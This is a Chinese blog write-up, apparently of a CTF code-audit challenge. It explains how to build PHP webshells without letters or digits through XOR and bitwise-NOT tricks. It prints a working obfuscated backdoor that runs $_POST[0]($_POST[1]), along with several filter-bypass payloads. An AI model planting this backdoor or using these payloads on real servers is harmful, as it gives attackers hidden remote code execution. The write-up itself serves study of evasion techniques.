记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
0x01 前言
最近在做代码审计的工作中遇到了一个难题,题目描述如下:
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
这一串代码描述是这样子,我们要绕过A-Za-z0-9这些常规数字、字母字符串的传参,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数名,这里我们是 "getFlag",然后动态执行之即可。
那么,我们需要考虑的问题是如何通过各种变换,使得我们能够去成功读取到getFlag函数,然后拿到webshell。
0x02 前置知识铺垫
在理解这篇文章之前,我们首先需要大家了解的是PHP中异或(^)的概念。
我们先看一下下面这段代码:
<?php
echo "A"^"?";
?>
运行结果如下:

我们可以看到,输出的结果是字符"~"。之所以会得到这样的结果,是因为代码中对字符"A"和字符"?"进行了异或操作。在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。
比如像上面这个例子
A的ASCII值是65,对应的二进制值是01000001
?的ASCII值是63,对应的二进制值是00111111
异或的二进制的值是01111110,对应的ASCII值是126,对应的字符串的值就是~了
我们都知道,PHP是弱类型的语言,也就是说在PHP中我们可以不预先声明变量的类型,而直接声明一个变量并进行初始化或赋值操作。正是由于PHP弱类型的这个特点,我们对PHP的变类型进行隐式的转换,并利用这个特点进行一些非常规的操作。如将整型转换成字符串型,将布尔型当作整型,或者将字符串当作函数来处理,下面我们来看一段代码:
<?php
function B(){
echo "Hello Angel_Kitty";
}
$_++;
$__= "?" ^ "}";
$__();
?>
代码执行结果如下:

我们一起来分析一下上面这段代码:
- `$_++; `这行代码的意思是对变量名为`"_"`的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。
- `$__="?" ^ "}"; `对字符"?"和"}"进行异或运算,得到结果B赋给变量名为"__"(两个下划线)的变量
- `$ __ (); `通过上面的赋值操作,变量`\$__`的值为B,所以这行可以看作是B(),在PHP中,这行代码表示调用函数B,所以执行结果为Hello Angel_Kitty。在PHP中,我们可以将字符串当作函数来处理。
看到这里,相信大家如果再看到类似的PHP后门应该不会那么迷惑了,你可以通过一句句的分析后门代码来理解后门想实现的功能。
我们希望使用这种后门创建一些可以绕过检测的并且对我们有用的字符串,如_POST", "system", "call_user_func_array",或者是任何我们需要的东西。
下面是个非常简单的非数字字母的PHP后门:
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
在这里我说明下,.=是字符串的连接,具体参看php语法
我们甚至可以将上面的代码合并为一行,从而使程序的可读性更差,代码如下:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
0x03 问题分析
对于文章开始遇到的那道难题,最开始我们的想法是通过构造异或来去绕过那串字符,但由于最后构造的字串远远超过了长度len=40,然后我们最后放弃了~~
我们该如何构造这个字串使得长度小于40呢?
我们最终是要读取到那个getFlag函数,我们需要构造一个_GET来去读取这个函数,我们最终构造了如下字符串:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
可能很多小伙伴看完前置知识后仍然无法理解这段字符串是如何构造的吧,我们就对这段字符串进行段分析
①构造_GET读取
首先我们得知道_GET由什么异或而来的,经过我的尝试与分析,我得出了下面的结论:
<?php
echo "`{{{"^"?<>/";//_GET
?>
这段代码一大坨是啥意思呢?因为40个字符长度的限制,导致以前逐个字符异或拼接的webshell不能使用。
这里可以使用php中可以执行命令的反引号` ` 和Linux下面的通配符?
?代表匹配一个字符- ` 表示执行命令
- " 对特殊字符串进行解析
由于?只能匹配一个字符,这种写法的意思是循环调用,分别匹配。我们将其进行分解来看
<?php
echo "{"^"<";
?>
输出结果为:

<?php
echo "{"^">";
?>
输出结果为:

<?php
echo "{"^"/";
?>
输出结果为:

所以_GET就是这么被构造出来的
②获取_GET参数
如何获取呢?咱们可以构造出如下字串:
<?php
echo ${$_}[_](${$_}[__]);//$_GET[_]($_GET[__])
?>
根据前面构造的来看,$_已经变成了_GET。
顺理成章的来讲,$_ = _GET这个字符串。
我们构建$_GET[ __ ]是为了要获取参数值
③传入参数
此时我们只需要去调用getFlag函数获取webshell就好了,构造如下:
<?php
echo $_=getFlag;//getFlag
?>
所以把参数全部连接起来,就可以了~~
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
结果如下:

我们就成功读取到了flag~~
补充
我似乎看到了一些大佬对这题的骚操作,我也补充一下吧~~
有个payloads是这样子:
?code=$_=~%98%9A%8B%B9%93%9E%98;$_();
这个是把getFlag取反然后URL编码
然后我们看看下一个payloads:
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
~ 在 {} 中执行了取反操作,所以 ${~"\xa0\xb8\xba\xab"} 取反相当于 $_GET,拼接出了 $_GET['+']();,传入 +=getFlag() 从而执行了函数
再看看下面这种骚操作:
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();
$啊=getFlag;$啊();,这里就不需要用 {} 了,因为取反的值直接被当作字符串赋值给了 $ 啊。
下面这个是梅子酒师傅在评论区提供的一个payloads,我也补上:

0x04 扩展阅读
我给大家推荐几篇写的比较好的,方便大家能更进一步的理解这个东西。
- https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
- http://php.net/manual/zh/language.operators.increment.php
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)的更多相关文章
- 记一次学习kibaba踩过的坑(Windows环境)
下载地址 ElasticSearch:https://www.elastic.co/cn/downloads/elasticsearchLogstash:https://www.elastic.co/ ...
- 记一次Socket编程踩的坑
闲来无事研究了下Socket,想用它做个简单的聊天室模型,结果踩了个坑,整半天才出来,惭愧啊,先上完成的代码吧 服务端: public partial class Form1 : Form { pub ...
- 记一次ftp服务器搭建走过的坑
记一次ftp服务器搭建走过的坑 1.安装 ①下载 wget https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz #要FQ ②解压 ta ...
- [问题解决]RedHat7更换CentOS7的yum源时踩过的坑
更换yum源的流程 查看当前yum程序 $ rpm -qa|grep yum 这里推荐将其结果截屏或拷贝出来,以免后面报错修复. 删除原有yum源 $ rpm -aq | grep yum|xargs ...
- 项目中踩过的坑之-sessionStorage
总想写点什么,却不知道从何写起,那就从项目中踩过的坑开始吧,希望能给可能碰到相同问题的小伙伴一点帮助. 项目情景: 有一个id,要求通过当前网页打开一个新页面(不是当前页面),并把id传给打开的新页面 ...
- web开发实战--弹出式富文本编辑器的实现思路和踩过的坑
前言: 和弟弟合作, 一起整了个智慧屋的小web站点, 里面包含了很多经典的智力和推理题. 其实该站点从技术层面来分析的话, 也算一个信息发布站点. 因此在该网站的后台运营中, 富文本的编辑器显得尤为 ...
- Nancy总结(二)记一次Nancy 框架中遇到的坑
记一次Nancy 框架中遇到的坑 前几天,公司一个项目运行很久的Nancy框架的网站,遇到了一个很诡异的问题.Session 对象跳转到另外一个页面的时候,session对象被清空了,导致用户登录不上 ...
- "开发路上踩过的坑要一个个填起来————持续更新······(7月30日)"
欢迎转载,请注明出处! https://gii16.github.io/learnmore/2016/07/29/problem.html 踩过的坑及解决方案记录在此篇博文中! 个人理解,如有偏颇,欢 ...
- 【转载】Fragment 全解析(1):那些年踩过的坑
http://www.jianshu.com/p/d9143a92ad94 Fragment系列文章:1.Fragment全解析系列(一):那些年踩过的坑2.Fragment全解析系列(二):正确的使 ...
随机推荐
- Python中识别DataFrame中的nan
# 识别python中DataFrame中的nanfor i in pfsj.index: if type(pfsj.loc[i]['WZML']) == float: print('float va ...
- 根据学习廖雪峰老师的git教程做的笔记
根据学习廖雪峰老师的git教程做的笔记 安装git 进行git的配置 配置您的用户名和邮箱地址,使用--global 这个参数表明了在此台机器上的所有仓库都会使用该配置 $ git config -- ...
- SVN——Couldn't perform atomic initialization
前言 今天早上刚刚打开我的电脑,就被李总他们告知不能正确用SVN从服务器上下载代码了,然后看问题吧.问题其实也是本文的标题,并不难解决,写下来留个记录,顺便也算是一种分享.问题截图如下: 造 ...
- zabbix疑难之时区问题
zabbix疑难总结: 1.zabbix的web界面的时间不对.晚12个小时整 适用于:安装网上的说法来修改,但是时间仍然不对的情况 我们按照以前的网上的那些方法在配置zabbix,需要配置时区: ...
- Mysql基础之 基础知识解释
Mysql基础知识 RDBMS:关系型数据库管理系统.是将数据组织成相关的行和列的系统 存储过程:是存储在数据库中的一段声明性语句.触发器.java.php等都可以调用其存储过程.早期的mysql版本 ...
- 【17】有关python面向对象编程的提高【多继承、多态、类属性、动态添加与限制添加属性与方法、@property】
一.多继承 案例1:小孩继承自爸爸,妈妈.在程序入口模块再创建实例调用执行 #father模块 class Father(object): def __init__(self,money): self ...
- Mac OS X 下优化 Terminal,一篇就够了!
先上最终效果图: 目录 目录 1. 相关工具介绍 2. 配置总览 3. 安装步骤 3.1. 安装 iTerm2 3.2. 安装XCode's Command line tools 3.3. 检查 zs ...
- OpenSCAD 大白
$fn=10; module bag_bar(rr1,rr2,d) { rotate_extrude() difference() { hull() //hull() fast in 2D, no g ...
- MetaMask/safe-event-emitter
https://github.com/MetaMask/safe-event-emitter safe-event-emitter An EventEmitter that isolates the ...
- Oracle 11g rac 添加新节点测试
[转]https://blog.csdn.net/shiyu1157758655/article/details/60877076 前期准备: 操作系统设置OS版本必须相同,检查内核参数,系统内存.C ...